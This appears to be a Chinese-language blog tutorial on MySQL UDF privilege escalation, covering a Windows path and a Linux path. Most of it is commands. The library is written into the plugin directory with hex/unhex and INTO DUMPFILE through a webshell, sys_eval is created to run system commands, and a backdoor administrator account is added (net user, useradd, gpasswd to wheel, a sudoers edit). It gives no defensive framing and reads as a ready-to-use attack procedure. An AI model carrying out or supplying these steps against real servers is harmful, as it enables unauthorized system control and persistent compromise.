內網滲透之——mysql數據庫提權之——UDF提權

介紹

UDF是mysql的一個拓展接口,UDF(Userdefined function)可翻譯爲用戶自定義函數,這個是用來拓展Mysql的技術手段。

原理

UDF可以理解爲MySQL的函數庫,可以利用UDF定義創建函數(其中包括了執行系統命令的函數),要想利用udf,必須上傳udf.dll作爲udf的執行庫,mysql中支持UDF擴展 ,使得我們可以調用DLL裏面的函數來實現一些特殊的功能

windows-mysql-udf提權

1.獲取udf.dll
 將sqlmap\data\udf下的dll_文件,複製到sqlmap\extra\cloak,命令行輸入cloak.py -d -i lib_mysqludf_sys.dll_即可得到

2.上傳udf.dll
上傳地址:
mysql版本 < 5.1 , UDF導出到系統目錄c:/windows/system32/
mysql版本 > 5.1 ,UDF導出到安裝路徑MySQL\Lib\Plugin\
尋找安裝路徑:

show variables like '%plugin%'  或  select @@basedir(該目錄默認是不存在的,這就需要我們使用webshell找到MYSQL的安裝目錄,並在安裝目錄下創建lib\plugin文件夾,然後將udf.dll文件導出到該目錄即可)


上傳: 直接上傳沒有權限,可通過mysql語句寫入
2.1以二進制讀取udf.dll內容,並將結果轉爲十六進制

select hex(load_file("C:\\Users\\Administrator\\Desktop\\udf.dll")) into dumpfile'C:\\Users\\Administrator\\Desktop\\111.txt' ;


2.2菜刀的數據庫管理處輸入以下命令,文件即可上傳

select unhex ('111') into dumpfile "C:\\Program Files\\MySQL\\MySQL Server 5.5\\lib\\plugin\\udf.dll";

111替換爲剛剛的16進制字符串

3.利用udf.dll創建用戶自定義函數
菜刀的數據庫管理處輸入輸入以下命令(udf.dll處替換上傳的dll文件名)

create function sys_eval returns string soname 'udf.dll'

4.執行系統命令
菜刀的數據庫管理處輸入以下命令,看到用戶爲system

select sys_eval("whoami")

5.之後創建新用戶並加入管理員組即可

5.1菜刀的數據庫管理處輸入

select sys_eval("net user qq 123.com /add")

5.2再輸入

select sys_eval("net localgroup administrators qq /add")

linux-mysql-udf提權

條件:my.ini配置錯誤,mysql以root權限運行
Linux的mysql默認是mysql用戶 ,此處手動將mysql的用戶修改爲root用戶

1.獲取udf.dll
sqlmap\data\udf下的so_文件,複製到sqlmap\extra\cloak,命令行輸入cloak.py -d -i lib_mysqludf_sys.so_即可得到

2.上傳udf.dll
上傳地址:
默然安裝路徑/usr/lib64/mysql/plugin/
尋找安裝路徑:
show variables like '%plugin%'  或  select @@basedir


上傳:直接上傳沒有權限,可通過mysql命令
2.1以二進制讀取so.dll內容,並將結果轉爲十六進制

select hex(load_file("C:\\Users\\Administrator\\Desktop\\udf.so")) into dumpfile'C:\\Users\\Administrator\\Desktop\\222.txt' ;


2.2菜刀的數據庫管理處輸入以下命令,111替換爲剛剛的16進制字符串

select unhex ('111') into dumpfile '/usr/lib64/mysql/plugin/udf.so';

3.利用udf.dll創建用戶自定義函數

菜刀的數據庫管理處輸入以下命令,udf.so處替換上傳的so文件名

create function sys_eval returns string soname 'udf.so'

4.執行系統命令
菜刀的數據庫管理處輸以下命令,看到用戶爲root

select sys_eval("whoami")

5.之後創建一個xxx用戶,修改密碼,並添加到管理員組

5.1創建:

select sys_eval("useradd lp")


5.2修改密碼:

select sys_eval("echo '123456' | passwd lp --stdin")


5.3添加到管理員組:

select sys_eval("gpasswd -a lp wheel")


5.4之後去掉etc/sudoers裏105行的wheel前的#(可使用覆蓋形式)即可

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章